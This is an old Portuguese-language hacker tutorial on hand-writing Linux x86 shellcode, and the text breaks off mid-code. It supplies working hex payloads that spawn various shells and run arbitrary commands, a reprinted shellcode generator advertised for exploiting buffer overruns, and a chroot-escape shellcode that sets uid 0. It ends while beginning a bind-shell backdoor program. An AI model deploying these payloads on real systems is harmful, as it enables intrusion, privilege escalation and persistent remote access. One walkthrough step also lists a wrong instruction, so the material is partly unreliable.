########################################################################### ########################### UNSEKURITY TEAM ############################### ########################################################################### Estes e outros tutoriais podem ser obtidos em: http://unsekurity.virtualave.net/ http://unsekurity.cyberpunk.com.br/ Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br OBS: Nao nos responsabilizamos pelo mau uso dos dados e exemplos aqui fornecidos.Este tutorial possui somente propositos educacionais. Para um entendimento melhor deste tutorial, faz-se necessario a leitura do tutorial anterior, bem como conhecimentos basicos de C, Assembly, Sockets, Linux e Buffer Overflows.Este tutorial eh voltado para NewBies, se voce se considera 'elite' nao leia este humilde tutorial. Muita gente esperou e aqui estah a segunda parte do tutorial de escrita de shellcodes em/para sistemas Linux.Escrever shellcodes requer paciencia, muita paciencia.Existe a necessidade?? Sim, os programas geradores de shellcodes nao sao eficientes, exceto os que executam simples comandos via linha de comando.Mas quando eh um shellcode para abrir um socket,executar um programa, esses geradores nao suprem a necessidade, de modo que tem casos que realmente teriamos que escrever o shellcode na mao.Iremos ver alguns desses casos no decorrer desse tutorial.Assim como no outro, o entendimento dos exemplos e esquemas descritos neste tutorial vai depender dos esforcos do leitor(fucador), pois como iremos mexer com assembly, logica de programacao se faz mais do que necessario.Todos os exemplos e esquemas serao para linux(Slackware 7.0) i386, usando compilador GCC e debugador GDB.Neste tutorial nao descreverei nada de assembly, de modo que, se tiver duvidas, consulte o tutorial antigo e a parte de links que se encontra no mesmo.Espero verdadeiramente que este tutorial venha a ser util para alguem. ------------------------- | SHELLCODES - II PARTE | ------------------------- --------------------------------- INDICE --------------------------------- 1 - INTRODUCAO 2 - SHELLCODES 2.1 - Outros Tipos de Shell(tcsh, bash, csh, zsh, etc) 2.2 - Quebrando chroot() 2.3 - Abrindo um Socket 2.4 - Personalizando um Shellcode 2.5 - Encriptando um Shellcode 2.6 - O Perigo dos Trojans 3 - TERMINANDO 3.1 - Links e Referencias 3.2 - Consideracoes Finais -------------------------------------------------------------------------- --------------- 1 - INTRODUCAO | --------------- A arte de fazer shellcode requer persistencia.Creio que todos que dominam a escrita de shellcodes no inicio passaram dificuldades, pois isso nao eh tao simples como pensam.Com o tempo e o aumento de conhecimentos por parte do fucador, assim como nas demais tecnicas, esta tecnica vai se tornando mais simples, cada vez mais simples! Pesquisas incessantes sobre programacao em ASM, as vezes se faz necessario, quanto mais complexo for o exploit, melhor para o fucador eh possuir bons conhecimentos em assembly. Os esquemas que pretendo disponibilizar aqui sao bastante conhecidos. Programadores avancados nao devem ler este tutorial, muito menos o pessoal da elite.Redireciono este tutorial aos mesmos leitores dos tutoriais antigos, ou seja, NewBies.Se voce se considera elite, nao perca o seu tempo. A utilidade que esses shellcodes bem como os conceitos sobre os mesmos venha a ter serah analisada em cada caso, e alguns mitos serao demistificados no decorrer desse arquivo texto.Espero que os esquemas aqui descritos venham a ser uteis para alguem.Para este tutorial eu tomei como base novamente o tutorial do Taeho Oh - Advanced buffer overflow exploit - tambem o velho txt do Aleph1 descrito na PHRACK e uma suite de shellcodes escritos pelo lamagra(http://lamagra.seKure.de).Links para os demais voce poderah obter no final deste tutorial. --------------- 2 - SHELLCODES | --------------- Eu deixei umas duvidas e problemas pendentes no tutorial anterior.Irei nesse tutorial soluciona-las, espero que voce possa de alguma forma se beneficiar desses conceitos e explicacoes.E se voce jah solucionou todas, nao pense duas vezes, pule para os item que venham a te interessar. 2.1 - Outros Tipos de Shell(tcsh, bash, csh, zsh, etc) ------------------------------------------------------- No tutorial anterior, vimos somente a execucao de um tipo de shell, a /bin/sh , que em alguns sistemas eh linkada para /bin/bash.De qualquer modo, aprendemos como fazer um shellcode para esse tipo de shell, mas o conceito descrito alih eh mais amplo.Eu disse que poderiamos executar qualquer comando que fosse do tamanho de /bin/sh, e como exemplo citei /bin/ls.Um programador com conhecimentos basicos de Assembly certamente entendeu a mensagem e captou o que quis dizer com aquilo.Irei agora descrever pormenores de como se executa nao soh essas shells citadas aih em cima(tcsh, bash, csh, etc), mas todo e qualquer arquivo que se queira executar via linha de comando. 2.1.1 - Shell tcsh ------------------- De forma direta.Veremos como escrever um shellcode tcsh em assembly.Os passos a serem seguidos sao os mesmo que devemos seguir na escrita de um shellcode /bin/sh, sao eles: 1. Termos a string "/bin/tcsh" terminada nula em algum lugar na memoria. 2. Ter o endereco da string "/bin/tcsh" em algum lugar na memoria seguido por uma word null long. 3. Copiar 0xb sobre o registrador EAX. 4. Copiar o endereco da string "/bin/tcsh" sobre o registrador EBX. 5. Copiar o endereco da string "/bin/tcsh" sobre o registrador ECX. 6. Copiar o endereco da word null long sobre o registrador EDX. 7. Executar a intrucao int $0x80. 8. Copiar 0x1 sobre registrado EAX. -- 9. Copiar 0x0 sobre o registrador EBX. |-> Esses passos para exit(0). 10.Executar a instrucao $0x80. -- De posse dessas informacoes, vamos trabalhar.A unica coisa que muda em relacao ao shellcode /bin/sh eh somente o tamanho do comando que se quer executar.O comando "/bin/sh" possui um tamanho = 7, e o que nos queremos executar, possui um tamanho igual a 9.De posse dessas informacoes, nos podemos contruir o codigo fonte com instrucoes em assembly.Pegamos o esquema padrao: jmp offset-para-chamar # 3 bytes popl %esi # 1 byte ------ <--------------- movl %esi, array-offset(%esi) # 3 bytes | | movb $0x0, nullbyte-offset(%esi) # 4 bytes | | movl $0x0, null-offset(%esi) # 7 bytes | | movl $0xb, %eax # 5 bytes | Somando tudo | movl %esi, %ebx # 2 bytes | teremos | leal array-offset(%esi), %ecx # 3 bytes -> 42 bytes | leal null-offset(%esi), %edx # 3 bytes |(0x2a em hexa) | int $0x80 # 2 bytes | | movl $0x1, %eax # 5 bytes | | movl $0x0, %ebx # 5 bytes | | int $0x80 # 2 bytes ______| | call offset-para-popl # 5 bytes --> 42 + 5 = 47(0x2f)--- /bin/tcsh vem aqui # 8 bytes Vamos analisar o esquema acima no shellcode de /bin/sh: jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes Para executarmos "/bin/tcsh" teremos que alterar algumas coisinhas.A string a ser executada no codigo acima possui 8 bytes(.string \"/bin/sh\"), e a que nos estamos querendo executar possui 2 bytes a mais que esta (.string \"/bin/tcsh\").Logo vamos detalhar os passos a seguir: 1. Termos a string "/bin/tcsh" terminada nula em algum lugar na memoria: movl %esi,0xa(%esi) #Para /bin/sh tinhamos 8, agora temos 10(a em hexa). movb $0x0,0x9(%esi) #Para /bin/sh tinhamos 7, agora temos 9. 2. Ter o endereco da string "/bin/tcsh" em algum lugar na memoria seguido por uma word null long: movl $0x0,0xe(%esi) #Para /bin/sh tinhamos 0xc(14 em hexa), para #/bin/tcsh teremos 14 + 2 = 16(0xe em hexa). 3. Copiar 0xb sobre o registrador EAX: movl $0xb,%eax 4. Copiar o endereco da string "/bin/tcsh" sobre o registrador EBX: movl $0xb,%eax 5. Copiar o endereco da string "/bin/tcsh" sobre o registrador ECX: leal 0xa(%esi),%ecx 6. Copiar o endereco da word null long sobre o registrador EDX: leal 0xe(%esi),%edx 7. Executar a intrucao int $0x80: int $0x80 8. Copiar 0x1 sobre registrado EAX: movl $0x1, %eax 9. Copiar 0x0 sobre o registrador EBX: movl $0x0, %ebx 10.Executar a instrucao $0x80: int $0x80 Aih estao todos os passos detalhados.Vamos construir agora o .c para testarmos esse shellcode: ------------------------------tcsh.asm.c----------------------------- #include #include void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0xa(%esi) # 3 bytes movb $0x0,0x9(%esi) # 4 bytes movl $0x0,0xe(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0xa(%esi),%ecx # 3 bytes leal 0xe(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/tcsh\" # 10 bytes "); } --------------------------------------------------------------------- Vamos agora retirar os velhos null-bytes. Instrucao com null byte Trocar por: ------------------------------------------------------------------------ movb $0x0,0x9(%esi) xorl %eax,%eax movb %eax,0x9(%esi) movl $0x0,0xe(%esi) movl %eax,0xe(%esi) ------------------------------------------------------------------------- movl $0xb,%eax movb $0xb,%al ------------------------------------------------------------------------- movl $0x1,%eax xorl %ebx,%ebx movl $0x0,%ebx movl %ebx,%eax inc %eax ------------------------------------------------------------------------- Nosso codigo ficou entao: --------------------------------tcsh_code.c-------------------------------- #include #include void main() { __asm__(" jmp 0x1f popl %esi movl %esi,0xa(%esi) xorl %eax,%eax movb %eax,0x9(%esi) movl %eax,0xe(%esi) movb $0xb,%al movl %esi,%ebx leal 0xa(%esi),%ecx leal 0xe(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/tcsh\""); } ------------------------------------------------------------------------- Agora, compile o codigo acima da seguinte forma: [localhost]# gcc -o tcsh_code tcsh_code.c -static Depois gdb: [localhost]# gdb tcsh_code GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) (gdb) x/xb main+3 0x804818f : 0xeb (gdb) x/xb main+4 0x8048190 : 0x1f ... ... (gdb) x/xb main+36 0x80481b0 : 0xe8 (gdb) x/xb main+37 0x80481b1 : 0xdc (gdb) x/xb main+38 0x80481b2 : 0xff (gdb) x/xb main+39 0x80481b3 : 0xff (gdb) x/xb main+40 0x80481b4 : 0xff Por aih jah basta.Construimos entao o .c: ----------------------------tcsh_shell.c-------------------------------- #include #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x0a\x31\xc0\x88\x46\x09\x89\x46\x0e\xb0\x0b\x89" "\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8" "\xdc\xff\xff\xff/bin/tcsh"; main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } -------------------------------------------------------------------------- [localhost]# gcc -o tcsh_shell tcsh_shell.c [localhost]# ./tcsh_shell # exit exit Aih estah um shellcode para /bin/tcsh.Em cima desse shellcode jah podemos executar outro tipo de shell, a shell bash.Como a string /bin/tcsh possui o mesmo tamanho da string /bin/sh, tudo que devemos fazer eh trocar o /bin/tcsh por /bin/bash: ------------------------------bash_shell.c------------------------------- #include #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x0a\x31\xc0\x88\x46\x09\x89\x46\x0e\xb0\x0b\x89" "\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8" "\xdc\xff\xff\xff/bin/bash"; main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } ------------------------------------------------------------------------ Compilamos normalmente e executamos o programa acima: [localhost]# gcc -o bash_shell bash_shell.c [localhost]# ./bash_shell bash-2.03# exit exit Tah pegando o espirito da coisa??:).Vamos agora recapitular o que aprendemos escrevendo um shellcode para csh(/bin/csh): + Pegamos como referencia, novamente, o shellcode para /bin/sh e alteramos o que for necessario: --------------------------------csh_code.c-------------------------------- #include #include void main() { __asm__(" jmp 0x1f popl %esi movl %esi,0x9(%esi) #.string /bin/csh = 9. xorl %eax,%eax movb %eax,0x8(%esi) # /bin/csh = 8. movl %eax,0xd(%esi) # /bin/csh seguido de uma word null long. movb $0xb,%al # empurra execve(11) para al. movl %esi,%ebx leal 0x9(%esi),%ecx # empurra .string /bin/csh para ecx. leal 0xd(%esi),%edx # empurra /bin/sh + word null long p/ edx. int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/csh\""); } --------------------------------------------------------------------------- Compile com o argumento -static, depois use gdb e pegue os referentes hexadecimais de cada instrucao.Abaixo segue o .c para o shellcode: -------------------------------csh_shell.c--------------------------------- #include #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b\x89" "\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8" "\xdc\xff\xff\xff/bin/csh"; main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } --------------------------------------------------------------------------- [localhost]# ./csh_shell %exit exit Como voce pode ver, estou sendo o mais pratico possivel, fugindo de ter que seguir todos os passos jah visto, praticidade eh algo muito comum nos esquemas fucadores. Para uma shell zsh(/bin/zsh) tambem nao tem muito segredo, diretamente nos podemos alterar o codigo acima, trocando /bin/csh por /bin/zsh: -----------------------------zsh_shell.c---------------------------------- #include #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b\x89" "\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8" "\xdc\xff\xff\xff/bin/zsh"; main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } -------------------------------------------------------------------------- [localhost]# ./zsh_shell localhost# exit O prompt dessa shell aparenta estar diferente da executada normalmente(\h:\w\$), para se certificar sempre em qual shell voce se encontra, basta digitar um comando inexistente, exemplo: [localhost]# ./zsh_shell localhost# lslslslsls zsh: command not found: lslslslsls Esse 'zsh' aih em cima nos denuncia em qual shell estamos.Lembrando que em sistemas novos, o /bin/sh nao passa de um link para uma shell qualquer (Linux geralmente eh a shell bash). Como vimos, esse esquema nos dah condicoes de executar varios tipos de shell.Podemos tambem executar varios comandos, como vimos na primeira parte desse tutorial, o comando /bin/ls. Vamos complicar um pouco mais entao.Para executarmos qualquer comando shell, ou seja, qualquer comando que se pode executar via linha de comando, o que precisamos saber eh somente o tamanho do mesmo, e em seguida alterar nosso shellcode padrao(shellcode /bin/sh) para executar o comando que nos quisermos.Vamos ver um exemplo basico, o comando abaixo: $ /bin/echo Unsekurity Team Vamos analisar o .c dele: -----------------------------imprime.c---------------------------------- #include #include main(){ char *comando[3]; comando[0] = "/bin/echo"; comando[1] = "Unsekurity Team"; comando[2] = NULL; execve(comando[0],comando,NULL); } ------------------------------------------------------------------------- Diferente dos primeiros exemplos, aqui nos temos um ponteiro com 3 elementos.Vamos pegar algunas dados antes de debugarmos: /bin/echo Unsekurity Team -> Tamanho = 25 ; .string XXX = 26. /bin/echo -> Tamanho = 9 ; .string XXX = 10(a). Unsekurity -> Tamanho = 10 ; .string XXX = 11(b). Team -> Tamanho = 4 ; .string XXX = 5. Esse XXX se refera a propria string, exemplo: .string Team tem tamanho = 5. Vamos debugar esse programa, nao esqueca de compilar ele usando o argumento '-static' do gcc. [localhost]# gdb imprime GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) disassemble main Dump of assembler code for function main: 0x804818c
: push %ebp 0x804818d : mov %esp,%ebp 0x804818f : sub $0xc,%esp 0x8048192 : movl $0x806df68,0xfffffff4(%ebp) 0x8048199 : movl $0x806df72,0xfffffff8(%ebp) 0x80481a0 : movl $0x0,0xfffffffc(%ebp) 0x80481a7 : push $0x0 0x80481a9 : lea 0xfffffff4(%ebp),%eax 0x80481ac : push %eax 0x80481ad : mov 0xfffffff4(%ebp),%eax 0x80481b0 : push %eax 0x80481b1 : call 0x804c51c <__execve> 0x80481b6 : add $0xc,%esp 0x80481b9 : leave 0x80481ba : ret 0x80481bb : nop End of assembler dump. (gdb) Vamos analisar novamente os passos descritos na primeira parte deste tutorial: 0x804818c
: push %ebp 0x804818d : mov %esp,%ebp Acima temos o procedimento preludio. 0x804818f : sub $0xc,%esp Acima ele reserva espaco para o ponteiro(12), cada 1 *comando possui tamanho igual a 4 bytes, logo sao 3 x 4 = 12(c em hexa). 0x8048192 : movl $0x806df68,0xfffffff4(%ebp) Copia o endereco da string /bin/echo para 0xfffffff4(%ebp). 0x8048199 : movl $0x806df72,0xfffffff8(%ebp) Copia o endereco da string 'Unsekurity Team' para 0xfffffff8(%ebp). 0x80481a0 : movl $0x0,0xfffffffc(%ebp) Copia o endereco de 'NULL' para 0xfffffffc(%ebp). 0x80481a7 : push $0x0 Empurra NULL para dar inicio a chamada de execve. 0x80481a9 : lea 0xfffffff4(%ebp),%eax Carrega o comando[] sobre registrador EAX. 0x80481ac : push %eax Empurra EAX para o Stack. 0x80481ad : mov 0xfffffff4(%ebp),%eax Carregamos agora o endereco de /bin/echo para o registrador EAX. 0x80481b0 : push %eax Empurramos ele para o Stack. 0x80481b1 : call 0x804c51c <__execve> Chamamos execve(). (gdb) disassemble execve Dump of assembler code for function __execve: 0x804c51c <__execve>: push %ebp 0x804c51d <__execve+1>: mov %esp,%ebp 0x804c51f <__execve+3>: push %edi 0x804c520 <__execve+4>: push %ebx 0x804c521 <__execve+5>: mov 0x8(%ebp),%edi 0x804c524 <__execve+8>: mov $0x0,%eax 0x804c529 <__execve+13>: test %eax,%eax 0x804c52b <__execve+15>: je 0x804c532 <__execve+22> 0x804c52d <__execve+17>: call 0x0 0x804c532 <__execve+22>: mov 0xc(%ebp),%ecx 0x804c535 <__execve+25>: mov 0x10(%ebp),%edx 0x804c538 <__execve+28>: push %ebx 0x804c539 <__execve+29>: mov %edi,%ebx 0x804c53b <__execve+31>: mov $0xb,%eax 0x804c540 <__execve+36>: int $0x80 Vamos analisar com calma os passos em execv(): 0x804c51c <__execve>: push %ebp 0x804c51d <__execve+1>: mov %esp,%ebp Procedimento preludio. 0x804c51f <__execve+3>: push %edi Empurra o indice destino sobre o Stack. 0x804c520 <__execve+4>: push %ebx Empurra o novo frame pointer(EBX) para o stack. 0x804c521 <__execve+5>: mov 0x8(%ebp),%edi Copia endereco de /bin/echo para EDI. 0x804c524 <__execve+8>: mov $0x0,%eax Copia $0x0 para eax. 0x804c529 <__execve+13>: test %eax,%eax Testa para ver se tah tudo ok. 0x804c52b <__execve+15>: je 0x804c532 <__execve+22> Jumpeia se igual para 0x804c532 <__execve+22>. 0x804c52d <__execve+17>: call 0x0 Se nao for igual, chama 0x0. 0x804c532 <__execve+22>: mov 0xc(%ebp),%ecx Copia endereco de comando[] sobre ECX. 0x804c535 <__execve+25>: mov 0x10(%ebp),%edx Copia o endereco do ponteiro nulo (NULL) sobre EDX. 0x804c538 <__execve+28>: push %ebx Empurra EBX. 0x804c539 <__execve+29>: mov %edi,%ebx Copia o DI(Indice destino) para EBX. 0x804c53b <__execve+31>: mov $0xb,%eax Copia execve(11 ou b) para EAX. 0x804c540 <__execve+36>: int $0x80 Sai para modo kernel. Na pratica, a unica diferenca notavel eh o uso de DI para passar a copia do numero do system call de execve(11) para EAX no final da instrucao e nao no inicio, como vimos no exemplo do primeiro tutorial.De posse dessas informacoes, nos podemos construir o codigo em Assembly. ------------------------------- uns.asm.c -------------------------------- jmp 0x31 popl %esi movl %esi,0x1a(%esi) # .string XXX (toda a linha de comando) leal 0xa(%esi),%ebx # copia .string /bin/echo para EBX. movl %ebx,0x1e(%esi) # cp EBX para 0x1e(%esi) leal 0x15(%esi),%ebx # adiciona 0x15 a %esi e depois copia p/ EBX. movl %ebx,0x22(%esi) # copia EBX para 0x22(%esi). xorl %eax,%eax # reseta EAX. movb %eax,0x9(%esi) # /bin/echo movb %eax,0x14(%esi) # Unsekurity + Team = 14 movb %eax,0x19(%esi) # /bin/echo + Unsekurity + Team = 19(25 em dec) movl %eax,0x26(%esi) # tudo acima seguido de uma word null long. movb $0xb,%al # Empurra systemcall execve para AL. movl %esi,%ebx leal 0x1a(%esi),%ecx # empurra /bin/echo Unsekurity Team p/ %ecx. leal 0x26(%esi),%edx # empurra geral acima + word null long p/ %edx. int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x36 .string \"/bin/echo Unsekurity Team\""); ----------------------------------------------------------------------------- Montando o .c fica: --------------------------------- uns.c ------------------------------------ #include #include char shellcode[] = "\xeb\x31\x5e\x89\x76\x1a\x8d\x5e\x0a\x89\x5e\x1e\x8d\x5e\x15\x89\x5e\x22" "\x31\xc0\x88\x46\x09\x88\x46\x14\x88\x46\x19\x89\x46\x26\xb0\x0b\x89\xf3" "\x8d\x4e\x1a\x8d\x56\x26\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xca\xff" "\xff\xff/bin/echo Unsekurity Team"; main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } ----------------------------------------------------------------------------- Conhecendo o basico de Assembly e a logica que envolve a criacao de um shellcode, voce pode facilmente construir shellcodes que executam qualquer comando da linha de comando.Veremos nos demais itensalguns outros esquemas, mas abaixo segue um excelente programa que automatiza a criacao de shellcodes pela linha de comando.Esse programa foi feito pelo jamez da SDI e voce pode obte-lo em http://packetstorm.securify.com/ : --------------------------------shellcod.c----------------------------------- /* * * shellcode 1 - (Nov 25, 1998) * * this proggie generates a binary execve code for any commands * with any arguments. it shows the asm and hex code of execve * wanted. both outputs asm and hex code can be executed on the * stack. for example, you can use it when you want to exploit * a buffer overrun situation on linux. * * any comments and sugestions to jamez@sekure.org * * * thanks for all people from sekure sdi(www.sekure.org) * * */ #include #define MAX_PARAM 100 int hexcode[4086]; /* hex code for exeve */ int hexsize = 0; /* size of hex code */ char asmcode[4096]; /* asm code for exeve */ char aux[1024]; /* aux string */ char params[1024]; /* parameters including program name */ void asmcat(char * s) { strcat(asmcode, s); } void addasm(char * fmt, int addr) { sprintf(aux, fmt, addr); strcat(asmcode, aux); } void addhex(int hex) { hexcode[hexsize] = hex; hexsize++; } void printhex() { int i; char s[10]; printf("\n-----------------( hex code )--\n\n"); printf("char shellcode[] = \n"); printf("\t\""); for(i = 0; i < hexsize; i++) { if((i - i/12 * 12) == 0 && i != 0) { printf("\"\n"); printf("\t\""); } if(hexcode[i] < 16 && hexcode[i] >= 0) printf("\\x0%x", hexcode[i]); else if(hexcode[i] > 0) printf("\\x%x", hexcode[i]); else { sprintf(s, "%x", hexcode[i]); printf("\\x%c", s[6]); printf("%c", s[7]); } } printf("%s\"\n", params); } int main(int argc, char * argv[]) { int i, /* some for's */ jmp, /* how many bytes to jmp to get call instruction */ num_params, /* how many parameters */ size = 0; /* size of the whole command */ int nulls[MAX_PARAM]; /* where the null bytes go */ if(argc == 1) { printf("\nshellcode, first version. (Nov 25, 1998)\n\n"); printf(" this proggie generates a binary execve code for any commands\n");; printf(" with any arguments. it shows the asm and hex code of execve\n"); printf(" wanted. both outputs asm and hex code can be executed on the\n"); printf(" stack. for example, you can use it when you want to exploit\n"); printf(" a buffer overrun situation on linux.\n\n"); printf(" it's a jamez product. jamez@sekure.org\n"); printf(" sekure sdi - www.sekure.org\n\n"); printf(" - usage: %s path+program [first arg] [second arg] ...\n\n",argv[0]); exit(0); } num_params = argc - 1; /* parse out the parameters */ params[0] = '\0'; for(i = 0; i < num_params && i < MAX_PARAM; i++) { size += strlen(argv[i+1]) + 1; /* plus one to the null end */ strcat(params, argv[i + 1]); nulls[i] = strlen(params); strcat(params, "\x20"); } params[size-1] = '\0'; /* create the asm code */ hexcode[0] = '\0'; asmcode[0] = '\0'; jmp = 22 + 3 + (num_params-1)*6 + 3*num_params + 3; addhex(0xeb); addhex(jmp); addasm("\tjmp 0x%x\n", jmp); addhex(0x5e); asmcat("\tpopl %esi\n"); /* popl %esi */ /* fill char * array w/ addr's */ for(i = 0; i < num_params && i < MAX_PARAM; i++) { if(i == 0) { addasm("\tmovl %%esi,0x%x(%%esi)\n", size); addhex(0x89); addhex(0x76); addhex(size); } else { addhex(0x8d); addhex(0x5e); addhex(nulls[i-1]+1); addasm("\tleal 0x%x(%%esi),%%ebx\n", nulls[i-1]+1); addhex(0x89); addhex(0x5e); addhex(size + i*4); addasm("\tmovl %%ebx,0x%x(%%esi)\n", size + i*4); } } addhex(0x31); addhex(0xc0); asmcat("\txorl %eax,%eax\n"); /* put null at the of strings */ for(i = 0; i < num_params && i < MAX_PARAM; i++) { addhex(0x88); addhex(0x46); addhex(nulls[i]); addasm("\tmovb %%eax,0x%x(%%esi)\n", nulls[i]); } addhex(0x89); addhex(0x46); addhex(size + 4*num_params); addasm("\tmovl %%eax,0x%x(%%esi)\n", size + 4*num_params); addhex(0xb0); addhex(0x0b); asmcat("\tmovb $0xb,%al\n"); addhex(0x89); addhex(0xf3); asmcat("\tmovl %esi,%ebx\n"); addhex(0x8d); addhex(0x4e); addhex(size); addasm("\tleal 0x%x(%%esi),%%ecx\n", size); addhex(0x8d); addhex(0x56); addhex(size + 4*num_params); addasm("\tleal 0x%x(%%esi),%%edx\n", size + 4*num_params); addhex(0xcd); addhex(0x80); asmcat("\tint $0x80\n"); addhex(0x31); addhex(0xdb); asmcat("\txorl %ebx,%ebx\n"); addhex(0x89); addhex(0xd8); asmcat("\tmovl %ebx,%eax\n"); addhex(0x40); asmcat("\tinc %eax\n"); addhex(0xcd); addhex(0x80); asmcat("\tint $0x80\n"); addhex(0xe8); addhex((jmp+5) * -1); addhex(0xff); addhex(0xff); addhex(0xff); addasm("\tcall -0x%x\n", jmp+5); asmcat("\t.string \\\""); asmcat(params); asmcat("\\\""); printf("\n-----------------( asm code )--\n\n"); printf("int main() {\n"); printf("\t__asm__(\"\n"); printf("%s\");\n", asmcode); printf("}\n"); printhex(); printf("\n\n(by jamez for your profit)\n\n"); } --------------------------------------------------------------------------- Para automatizar a escrita de shellcodes de 'instrucoes' via linha de comando, creio que nao existe programa melhor que este.Mas eh importante nao ficar somente no uso destes programas 'fazedores de shellcode' e sim partir voce mesmo para a contrucao dos seus proprios shellcodes. 2.2 - Quebrando chroot() ------------------------- Na primeira parte deste tutorial vimos uma forma de como se quebrar chroot(). Existem varios metodos para se conseguir este feito, mas os mais simples sao o que vou disponibilizar agora, e aquele demonstrado no tutorial anterior.O shellcode abaixo foi feito pelo lamagra, e demonstra de forma simples, como se criar um shellcode para quebrar chroot(), voce pode aumentar o numero de ../ para cada caso.Analise abaixo o esquema dele: --------------------------- chroot_lamagra.c ------------------------------ /* Shellcode para quebrar chroot() by lamagra. main : pushl %ebp # shcode recognition #init movl %esp,%ebp # salva stackpointer xorl %eax,%eax xorl %ebx,%ebx # reseta os registradores xorl %ecx,%ecx # setuid(0); movb $0x17,%al # 0x17 = __NR_setuid int $0x80 # setgid(0); movb $0x2e,%al # 0x2e = __BR_setgid int $0x80 # mkdir("sh"); jmp 0x39 popl %esi # pega o endereco de nossa string movb $0x27,%al # 0x27 = __NR_mkdir leal 0x5(%esi),%ebx # locacao da string movb $0xed,%cl # modo int $0x80 # chroot("sh"); # string addiciona estah em %ebx movb $0x3d, %al # 0x3d = __NR_chroot int $0x80 # construindo string "../../../../../../../../../../" movl $0xff2f2e2e,%edx # "../" leal 0x4(%ebp),%ebx # adiciona sh na nova string movb $0x10,%cl # seta o contador movl %edx,0x4(%ebp) # constroi a string addl $0x3,%ebp loopne -0x8 movl %ecx,0x4(%ebp) # coloca em NULL # chroot("../../../../../../../../../../"); movb $0x3d,%al # Ox3d = __NR_chroot int $0x80 # arg[0] = "/bins/sh"; # arg[1] = 0x0 # execve(arg[0],arg); movl %esi,%ebx movl %esi,0x8(%ebp) movl %ecx,0xc(%ebp) movb $0xb,%al leal 0x8(%ebp),%ecx leal 0xc(%ebp),%edx int $0x80 call -0x3e .string "/bin/sh" */ char shellcode[]= "\x55\x89\xe5\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd\x80" "\xeb\x39\x5e\xb0\x27\x8d\x5e\x05\xb1\xed\xcd\x80\xb0\x3d\xcd\x80\xba" "\x2e\x2e\x2f\xff\x8d\x5d\x04\xb1\x10\x89\x55\x04\x83\xc5\x03\xe0\xf8" "\x89\x4d\x04\xb0\x3d\xcd\x80\x89\xf3\x89\x75\x08\x89\x4d\x0c\xb0\x0b" "\x8d\x4d\x08\x8d\x55\x0c\xcd\x80\xe8\xc2\xff\xff\xff/bin/sh"; main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } -------------------------------------------------------------------------- Ao meu ver, nao existe muita complicacao nesse shellcode.Se voce entendeu o exemplo descrito no tutorial anterio, esse daqui eh moleza na frente daquele.A utilidade disso voce jah sabe, eh justamente conseguir executar comandos fugindo do chroot(), que eh usado para nos 'prender' num determinado diretorio. 2.3 - Abrindo um Socket ------------------------ A abertura de um socket em uma rede pode vir a ser util.Bindar uma porta a uma shell por sih soh representa uma boa forma de backdoor.Dependendo da situacao, um shellcode que binda uma shell a uma porta pode vir a ser uma forma efetiva de fugir de firewalls.Esse conceito tem sido no momento muito usado em trojans horses, e como fucadores, devemos conhecer as possiveis utilidades do mesmo.No tutorial "Advanced buffer overflow exploit", o Taeho Oh demonstrou de forma clara, a "tecnica" usada para contruir um shellcode capaz de bindar uma shell a uma porta.Vejamos o codigo em .c mais simples para a construcao desse shellcode: ----------------------------- binda.c --------------------------------- #include #include #include int soc,cli; struct sockaddr_in serv_addr; int main() { if(fork()==0) { serv_addr.sin_family=2; serv_addr.sin_addr.s_addr=0; serv_addr.sin_port=0x77; 